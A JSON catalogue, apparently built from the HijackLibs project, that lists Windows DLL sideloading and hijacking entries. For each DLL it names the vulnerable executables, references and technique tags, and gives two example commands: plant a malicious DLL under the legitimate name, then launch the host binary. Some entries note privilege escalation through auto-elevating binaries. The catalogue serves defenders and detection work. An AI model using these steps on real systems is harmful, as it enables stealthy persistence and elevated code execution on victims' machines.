    "_body": "\nexamples:\n  - description: \"Place malicious proximityservicepal.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\proximityservicepal.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\proximityuxhost.exe\\\"\"\n\n# proximityservicepal.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\proximityuxhost.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-proximityservicepal.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "proximityservicepal.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "proximityservicepal.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "process-manip"
    ],
    "id": "windows-dllhijack-proximityservicepal",
    "name": "proximityservicepal.dll",
    "namespace": "windows:dllhijack:proximityservicepal",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/proximityservicepal.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious prvdmofcomp.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\prvdmofcomp.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\register-cimprovider.exe\\\"\"\n\n# prvdmofcomp.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\register-cimprovider.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-prvdmofcomp.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "prvdmofcomp.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "prvdmofcomp.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-prvdmofcomp",
    "name": "prvdmofcomp.dll",
    "namespace": "windows:dllhijack:prvdmofcomp",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/prvdmofcomp.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious puiapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\puiapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\printui.exe\\\"\"\n\n# puiapi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\printui.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-puiapi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "puiapi.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "puiapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-puiapi",
    "name": "puiapi.dll",
    "namespace": "windows:dllhijack:puiapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/puiapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious python310.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Python310\\\\python310.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"pythonw.exe\\\"\"\n\n# python310.dll\n\n**Vendor:** Python\n\n**Expected Location:** %PROGRAMFILES%\\Python310\n\n**Vulnerable Executables:**\n- pythonw.exe (Sideloading)\n- dwagent.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-python310.md",
    "author": "Jai Minton",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "python310.dll — Sideloading hijacking (Python)",
    "execution": {
      "template": "python310.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "interactive"
    ],
    "id": "windows-dllhijack-python310",
    "name": "python310.dll",
    "namespace": "windows:dllhijack:python310",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/115fba7a9ea7d2e38d042c7fa5f81209e0d712c107ceb2eafe2f27f94c8f6054/details"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/python310.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious python311.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Python311\\\\python311.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"pythonw.exe\\\"\"\n\n# python311.dll\n\n**Vendor:** Python\n\n**Expected Location:** %PROGRAMFILES%\\Python311\n\n**Vulnerable Executables:**\n- pythonw.exe (Sideloading)\n\n**Acknowledgement:** Swachchhanda Shrawan Poudel\n",
    "_source": "windows-dllhijack-python311.md",
    "author": "Swachchhanda Shrawan Poudel",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "python311.dll — Sideloading hijacking (Python)",
    "execution": {
      "template": "python311.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "interactive"
    ],
    "id": "windows-dllhijack-python311",
    "name": "python311.dll",
    "namespace": "windows:dllhijack:python311",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.securonix.com/blog/seolurker-attack-campaign-uses-seo-poisoning-fake-google-ads-to-install-malware/"
      },
      {
        "label": "Reference",
        "url": "https://thedfirreport.com/2024/09/30/nitrogen-campaign-drops-sliver-and-ends-with-blackcat-ransomware/"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/9514035fea8000a664799e369ae6d3af6abfe8e5cda23cdafbede83051692e63"
      },
      {
        "label": "Reference",
        "url": "https://www.rapid7.com/blog/post/2024/05/13/ongoing-malvertising-campaign-leads-to-ransomware/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/python311.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious python39.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Python39\\\\python39.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"python39.exe\\\"\"\n\n# python39.dll\n\n**Vendor:** Python\n\n**Expected Location:** %PROGRAMFILES%\\Python39\n\n**Vulnerable Executables:**\n- python39.exe (Sideloading)\n\n**Acknowledgement:** Samir\n",
    "_source": "windows-dllhijack-python39.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "python39.dll — Sideloading hijacking (Python)",
    "execution": {
      "template": "python39.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "interactive"
    ],
    "id": "windows-dllhijack-python39",
    "name": "python39.dll",
    "namespace": "windows:dllhijack:python39",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://twitter.com/SBousseaden/status/1530595156055011330"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/python39.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious qrt.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\F-Secure\\\\Anti-Virus\\\\qrt.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"qrtfix.exe\\\"\"\n\n# qrt.dll\n\n**Vendor:** F-Secure\n\n**Expected Location:** %PROGRAMFILES%\\F-Secure\\Anti-Virus\n\n**Vulnerable Executables:**\n- qrtfix.exe (Sideloading)\n",
    "_source": "windows-dllhijack-qrt.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "qrt.dll — Sideloading hijacking (F-Secure)",
    "execution": {
      "template": "qrt.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-qrt",
    "name": "qrt.dll",
    "namespace": "windows:dllhijack:qrt",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.welivesecurity.com/2022/04/27/lookback-ta410-umbrella-cyberespionage-ttps-activity/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/qrt.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious qt5core.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Electronic Arts\\\\EA Desktop\\\\EA Desktop\\\\qt5core.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Electronic Arts\\\\EA Desktop\\\\EA Desktop\\\\EASteamProxy.exe\\\"\"\n\n# qt5core.dll\n\n**Vendor:** Qt\n\n**Expected Location:** %PROGRAMFILES%\\Electronic Arts\\EA Desktop\\EA Desktop\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Electronic Arts\\EA Desktop\\EA Desktop\\EASteamProxy.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-qt5core.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "qt5core.dll — Sideloading hijacking (Qt)",
    "execution": {
      "template": "qt5core.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-qt5core",
    "name": "qt5core.dll",
    "namespace": "windows:dllhijack:qt5core",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/2251e6582a12427b9b70d0e9ec7c8c27debe22b0a08b6ff6be46f4fb8914338c"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/173e138d5cf12f7eb55a67bcf3afc97ac1d7598fe4290ca4f125f28692e90fed"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/qt5core.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious qt5network.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\LSoft Technologies\\\\Active@ Data Studio\\\\qt5network.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\LSoft Technologies\\\\Active@ Password Changer\\\\PasswordChanger.exe\\\"\"\n\n# qt5network.dll\n\n**Vendor:** Qt\n\n**Expected Location:** %PROGRAMFILES%\\LSoft Technologies\\Active@ Data Studio\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\LSoft Technologies\\Active@ Password Changer\\PasswordChanger.exe (Sideloading)\n\n**Acknowledgement:** Micah Babinski\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-qt5network.md",
    "author": "Jai Minton",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "qt5network.dll — Sideloading hijacking (Qt)",
    "execution": {
      "template": "qt5network.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "network-intensive"
    ],
    "id": "windows-dllhijack-qt5network",
    "name": "qt5network.dll",
    "namespace": "windows:dllhijack:qt5network",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://cyble.com/blog/threat-actor-targets-manufacturing-industry-with-malware/"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/dc36a3d95d9a476d773b961b15b188aa3aae0e0a875bca8857fca18c691ec250"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/qt5network.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious qtcorevbox4.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Oracle\\\\VirtualBox\\\\qtcorevbox4.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Oracle\\\\VirtualBox\\\\VBoxTestOGL.exe\\\"\"\n\n# qtcorevbox4.dll\n\n**Vendor:** Oracle\n\n**Expected Location:** %PROGRAMFILES%\\Oracle\\VirtualBox\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Oracle\\VirtualBox\\VBoxTestOGL.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-qtcorevbox4.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "qtcorevbox4.dll — Sideloading hijacking (Oracle)",
    "execution": {
      "template": "qtcorevbox4.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-qtcorevbox4",
    "name": "qtcorevbox4.dll",
    "namespace": "windows:dllhijack:qtcorevbox4",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://asec.ahnlab.com/en/58319/"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/cf801023465679ec34084bdb1adb9f54b2fc3130925a4b8fdc10b11639b4a7cd"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/a6e6b1a47021fa1e4d36b047f5326eb04d5f545907fc6ac3730162a07cc792ff"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/qtcorevbox4.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious qtgui4.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Audacity\\\\qtgui4.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Audacity\\\\crashreporter.exe\\\"\"\n\n# qtgui4.dll\n\n**Vendor:** Qt\n\n**Expected Location:** %PROGRAMFILES%\\Audacity\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Audacity\\crashreporter.exe (Sideloading)\n- %PROGRAMFILES%\\AOMEI\\AOMEI Backupper\\%VERSION%\\ShortcutTaskAgent.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-qtgui4.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "qtgui4.dll — Sideloading hijacking (Qt)",
    "execution": {
      "template": "qtgui4.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-qtgui4",
    "name": "qtgui4.dll",
    "namespace": "windows:dllhijack:qtgui4",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/dbdf5e11ec81ed1d941ec16fc7b94ab65f814ceb1e7fb524f2c64cbb422f7382/details"
      },
      {
        "label": "Reference",
        "url": "https://forum.eset.com/topic/44610-im-afraid-i-did-something-stupid-and-im-usually-very-careful-i-keep-getting-an-address-has-been-blocked-message/page/2/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/qtgui4.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious quickdeskband.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\quickdeskband.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"lenovodesk.exe\\\"\"\n\n# quickdeskband.dll\n\n**Vendor:** Lenovo\n\n**Vulnerable Executables:**\n- lenovodesk.exe (Sideloading)\n",
    "_source": "windows-dllhijack-quickdeskband.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "quickdeskband.dll — Sideloading hijacking (Lenovo)",
    "execution": {
      "template": "quickdeskband.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-quickdeskband",
    "name": "quickdeskband.dll",
    "namespace": "windows:dllhijack:quickdeskband",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://twitter.com/StopMalvertisin/status/1722939123470848279"
      },
      {
        "label": "Reference",
        "url": "https://twitter.com/RexorVc0/status/1811280904662257907"
      },
      {
        "label": "Reference",
        "url": "https://mp.weixin.qq.com/s/IB2w86cXcpmGS8qrOnprKw"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/quickdeskband.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious radcui.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\radcui.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\wkspbroker.exe\\\"\"\n\n# radcui.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\wkspbroker.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-radcui.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "radcui.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "radcui.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-radcui",
    "name": "radcui.dll",
    "namespace": "windows:dllhijack:radcui",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/radcui.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious rasapi32.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\rasapi32.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\cmdl32.exe\\\"\"\n\n# rasapi32.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\cmdl32.exe (Sideloading)\n- %SYSTEM32%\\nethost.exe (Sideloading)\n- %SYSTEM32%\\netsh.exe (Sideloading)\n- %SYSTEM32%\\rasdial.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-rasapi32.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "rasapi32.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "rasapi32.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-rasapi32",
    "name": "rasapi32.dll",
    "namespace": "windows:dllhijack:rasapi32",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/rasapi32.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious rasdlg.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\rasdlg.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\rasautou.exe\\\"\"\n\n# rasdlg.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\rasautou.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-rasdlg.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "rasdlg.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "rasdlg.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-rasdlg",
    "name": "rasdlg.dll",
    "namespace": "windows:dllhijack:rasdlg",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/rasdlg.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious rasgcw.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\rasgcw.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\rasphone.exe\\\"\"\n\n# rasgcw.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\rasphone.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-rasgcw.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "rasgcw.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "rasgcw.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-rasgcw",
    "name": "rasgcw.dll",
    "namespace": "windows:dllhijack:rasgcw",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/rasgcw.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious rasman.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\rasman.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\cmdl32.exe\\\"\"\n\n# rasman.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\cmdl32.exe (Sideloading)\n- %SYSTEM32%\\nethost.exe (Sideloading)\n- %SYSTEM32%\\netsh.exe (Sideloading)\n- %SYSTEM32%\\rasautou.exe (Sideloading)\n- %SYSTEM32%\\rasdial.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-rasman.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "rasman.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "rasman.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-rasman",
    "name": "rasman.dll",
    "namespace": "windows:dllhijack:rasman",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/rasman.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious rasmontr.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\rasmontr.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\netsh.exe\\\"\"\n\n# rasmontr.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\netsh.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-rasmontr.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "rasmontr.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "rasmontr.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-rasmontr",
    "name": "rasmontr.dll",
    "namespace": "windows:dllhijack:rasmontr",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/rasmontr.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious rastls.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Symantec\\\\Network Connected Devices Auto Setup\\\\rastls.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Symantec\\\\Network Connected Devices Auto Setup\\\\rastlsc.exe\\\"\"\n\n# rastls.dll\n\n**Vendor:** Symantec\n\n**Expected Location:** %PROGRAMFILES%\\Symantec\\Network Connected Devices Auto Setup\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Symantec\\Network Connected Devices Auto Setup\\rastlsc.exe (Sideloading)\n\n**Acknowledgement:** Adam\n",
    "_source": "windows-dllhijack-rastls.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "rastls.dll — Sideloading hijacking (Symantec)",
    "execution": {
      "template": "rastls.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-rastls",
    "name": "rastls.dll",
    "namespace": "windows:dllhijack:rastls",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://st.drweb.com/static/new-www/news/2020/october/Study_of_the_ShadowPad_APT_backdoor_and_its_relation_to_PlugX_en.pdf"
      },
      {
        "label": "Reference",
        "url": "https://vms.drweb.com/virus/?i=21995051"
      },
      {
        "label": "Reference",
        "url": "https://www.hexacorn.com/blog/2023/02/25/beyond-good-ol-run-key-part-141/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/rastls.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious rcdll.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Windows Kits\\\\10\\\\bin\\\\%VERSION%\\\\%VERSION%\\\\rcdll.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Windows Kits\\\\10\\\\bin\\\\%VERSION%\\\\%VERSION%\\\\rc.exe\\\"\"\n\n# rcdll.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %PROGRAMFILES%\\Windows Kits\\10\\bin\\%VERSION%\\%VERSION%\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Windows Kits\\10\\bin\\%VERSION%\\%VERSION%\\rc.exe (Sideloading)\n",
    "_source": "windows-dllhijack-rcdll.md",
    "author": "Gary Lobermier",
    "capabilities": [
